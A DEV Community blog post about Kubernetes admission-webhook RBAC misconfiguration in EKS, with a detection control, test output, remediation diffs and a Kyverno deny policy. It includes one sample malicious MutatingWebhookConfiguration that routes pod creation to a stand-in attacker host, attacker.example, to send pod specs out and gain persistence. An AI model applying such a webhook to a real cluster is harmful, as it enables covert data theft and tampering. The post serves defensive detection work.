DEV Community

Bala Paranj
Bala Paranj

Posted on

The Webhook is the Persistence: RBAC Misconfiguration in EKS

#security #kubernetes #eks #appsec

✓ Human-authored analysis; AI used for formatting and proofreading.

A Kubernetes admission webhook is a piece of code that intercepts every API call before the API server commits it. Mutating webhooks can rewrite pod specs, inject sidecars, modify environment variables, change container images. Validating webhooks can deny requests. The cluster's behaviour depends on what its webhooks say it should do.

The RBAC permission that lets a subject configure admission webhooks is therefore one of the highest-blast-radius permissions in the entire cluster:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: acme-platform-controller
rules:
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    verbs: ["create", "update", "patch", "delete"]
Enter fullscreen mode Exit fullscreen mode

A subject (user, group, or ServiceAccount) bound to this ClusterRole can register a mutating webhook of their choosing. Once registered, every subsequent API call flows through it. Pod specs get the attacker's init-container; secret reads return the attacker's data; the webhook itself reports normal behaviour to anyone auditing the cluster.

This pattern is established enough to have its own dedicated detection logic. It still ships to production routinely because the role it grants is named "platform controller" or "operator manager" or "admission controller manager" are names that make the permission set sound foundational rather than alarming.

Webhook Write

A mutating webhook configuration looks like this:

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: silent-persistence
webhooks:
  - name: silent-persistence.attacker.example
    clientConfig:
      url: https://attacker.example/mutate
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["pods"]
    sideEffects: None
    admissionReviewVersions: ["v1"]
    failurePolicy: Ignore
Enter fullscreen mode Exit fullscreen mode

failurePolicy: Ignore means: if the webhook is unreachable, the API request proceeds normally. That's the operational-safety setting; it's also the deniability setting. The webhook is invisible during upgrades (when the attacker's server is offline) and silently active during normal operation. SOC dashboards show "100% pod creations succeed" because they do. Some of them now also include a sidecar.

sideEffects: None is a lie the attacker tells the API server. The actual side effect is exfiltration of pod specs to attacker.example. This is intentional. The admission API doesn't verify the claim; it just trusts the webhook author.

Why the Permission Slipped In

The pattern is consistent across incident write-ups:

  1. The team installs an operator (Argo CD, Cert Manager, an in-house deployment controller).
  2. The operator's documentation says it needs RBAC for "webhook configuration management" because the operator itself uses an admission webhook for validation.
  3. The team grants * on mutatingwebhookconfigurations because the documentation said so and the install Helm chart templated it that way.
  4. The operator runs as a ServiceAccount in a namespace that other workloads can write to.
  5. An attacker who compromises any workload that can exec into the operator's pod, or read its ServiceAccount token, inherits the webhook-write permission.

The audit boundary the team thought they had is "the operator can configure its own webhook" turned out to be wider: "anything that can reach the operator's identity can configure any webhook." The role that should have been scoped to a single named webhook (using resourceNames:) was scoped to the entire resource class.

The System Invariant

No ClusterRole or Role may grant write verbs (create, update, patch, delete) on
mutatingwebhookconfigurations or validatingwebhookconfigurations to any subject except a designated cluster administrator.

Stave's observation schema models this through a k8s_cluster_role asset whose rbac block carries both the engine's verdict and the underlying rules:

{
  "id": "acme-platform-controller",
  "type": "k8s_cluster_role",
  "vendor": "kubernetes",
  "properties": {
    "k8s": {
      "kind": "cluster_role",
      "name": "acme-platform-controller",
      "rbac": {
        "has_webhook_config_access": true,
        "rules": [
          {
            "apiGroups": ["admissionregistration.k8s.io"],
            "resources": ["mutatingwebhookconfigurations"],
            "verbs": ["create", "update", "patch", "delete"]
          }
        ]
      },
      "bound_subjects": [
        "ServiceAccount/platform/acme-platform"
      ]
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

has_webhook_config_access is the engine's verdict. It is true if any rule grants a write verb on either webhook configuration resource. The underlying rules array carries the evidence; the bound_subjects list says who gets the permission once the role binding is in place.

The Stave Control (CEL Predicate) 

id: CTL.K8S.RBAC.WEBHOOK.001
name: RBAC Must Restrict Admission Webhook Configuration Access
severity: high
unsafe_predicate:
  all:
    - field: properties.k8s.kind
      op: eq
      value: cluster_role
    - field: properties.k8s.rbac.has_webhook_config_access
      op: eq
      value: true
Enter fullscreen mode Exit fullscreen mode

Two leaf clauses, both required. Severity high where webhook-write is one API call away from persistence-as-a-service, but it's not yet active exploitation; the control fires on the capability, not on a confirmed compromise.

Why Z3 Doesn't Help Here

Same shape as bucket name dangling, .git exposure, and CloudTrail stopped: this is a presence check at the collector layer, not a reachability question. The collector walks the role's verb set and emits a boolean. CEL's predicate is a two-leaf conjunction.

A different and harder question "given the cluster's full RBAC binding graph, which subjects can transitively reach webhook-write through aggregated ClusterRoles?" would be reachability over the binding graph and would benefit from Z3. That work is out of scope for this example; it lives in the same neighbourhood as IAM transitive-trust analysis.

Reproducing The Detection

The repository has an example at stave/examples/eks-rbac-webhook-config-access/:

go run ./examples/eks-rbac-webhook-config-access before
Enter fullscreen mode Exit fullscreen mode

Captured stdout:

=== before (webhook write granted) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.K8S.RBAC.WEBHOOK.001 fired on 1 asset(s):
    - acme-platform-controller   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓
Enter fullscreen mode Exit fullscreen mode

After the role is scoped to read-only verbs:

=== after  (read-only) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.K8S.RBAC.WEBHOOK.001: no findings
  assertion: fires=false (expected) ✓
Enter fullscreen mode Exit fullscreen mode

The Remediation

The minimal fix: replace write verbs with read verbs:

 rules:
   - apiGroups: ["admissionregistration.k8s.io"]
     resources: ["mutatingwebhookconfigurations"]
-    verbs: ["create", "update", "patch", "delete"]
+    verbs: ["get", "list", "watch"]
Enter fullscreen mode Exit fullscreen mode

If the operator legitimately needs to manage its own webhook (e.g., Cert Manager refreshing its CA certificate in the webhook config), use resourceNames to scope the write to a specific named resource:

rules:
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    resourceNames: ["cert-manager-webhook"]
    verbs: ["update", "patch"]
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    verbs: ["get", "list", "watch"]
Enter fullscreen mode Exit fullscreen mode

The first rule grants update/patch only on the named webhook. The second rule grants read across the resource class so the controller can list other webhooks for inventory purposes. An attacker who compromises the operator can refresh the operator's own webhook (limited blast radius) but cannot register new webhooks.

The Prevention Lesson

Three layers, in priority order:

OPA Gatekeeper / Kyverno policy denying any ClusterRole or Role that grants write verbs on webhook configurations without resourceNames:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-webhook-rbac
spec:
  validationFailureAction: Enforce
  rules:
    - name: deny-unscoped-webhook-write
      match:
        any:
          - resources:
              kinds: [ClusterRole, Role]
      validate:
        message: |
          ClusterRoles must not grant write verbs on
          webhook configurations without resourceNames.
        deny:
          conditions:
            - key: "{{ request.object.rules[?contains(resources, 'mutatingwebhookconfigurations') && (contains(verbs, 'create') || contains(verbs, 'update') || contains(verbs, 'patch') || contains(verbs, 'delete')) && length(resourceNames || `[]`) == `0`] }}"
              operator: NotEquals
              value: []
Enter fullscreen mode Exit fullscreen mode

The policy refuses the role at admission time. The deny is the strongest enforcement layer where the unsafe shape never reaches the cluster's RBAC store.

Helm chart / operator install audit. Every operator the cluster installs goes through a chart review that explicitly checks the RBAC manifest for unscoped webhook writes. The reviewer asks "does this operator need write on all webhooks, or just its own?" Most answer "just its own" once asked.

stave apply in CI against the post-deploy observation snapshot. The example shipped with this article is the template; PRs that introduce a k8s_cluster_role with has_webhook_config_access: true produce exit code 3.

Checklist

  • No ClusterRole or Role grants create / update / patch / delete on mutatingwebhookconfigurations or validatingwebhookconfigurations without resourceNames scoping
  • Operator install reviews include RBAC analysis with explicit attention to admission-webhook verbs
  • OPA Gatekeeper or Kyverno enforces the no-unscoped-webhook-write rule at admission
  • stave apply runs in CI against post-deploy observations; PRs with has_webhook_config_access: true fail
  • Audit logs forward webhook-configuration mutation events (mutatingwebhookconfigurations.create / update) to the SOC for review

The webhook is the persistence. The RBAC permission is how the persistence becomes available. The cluster's configuration audits should treat "who can write to admission webhooks" with the same weight as "who can deploy to production". Because they are, structurally, the same question.

The example at eks-rbac-webhook-config-access is a self-contained Go program that loads two fixture snapshots, runs pkg/stave.Apply, asserts that CTL.K8S.RBAC.WEBHOOK.001 fires on the write-verbs fixture and is silent on the read-only remediation, and exits zero when both assertions hold. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, without cloud credentials.

Top comments (1)

Collapse
 
raknaos profile image
Baptiste Le Bouquin •

The framing of the webhook as the persistence layer is the right mental model, and it makes the RBAC consequence concrete: the admission path isn't just a validator, it is where the effective state gets decided, so granting write verbs there is granting writes through a side channel. I've seen the inverse failure too, where a mutating webhook is scoped too tightly and silently stops injecting, so pods come up without the sidecar and everything keeps looking green in dashboards. Asserting both directions on a fixture, like your WEBHOOK.001 test does with fire-on-write and silent-on-readonly, is the only way I trust that config in CI.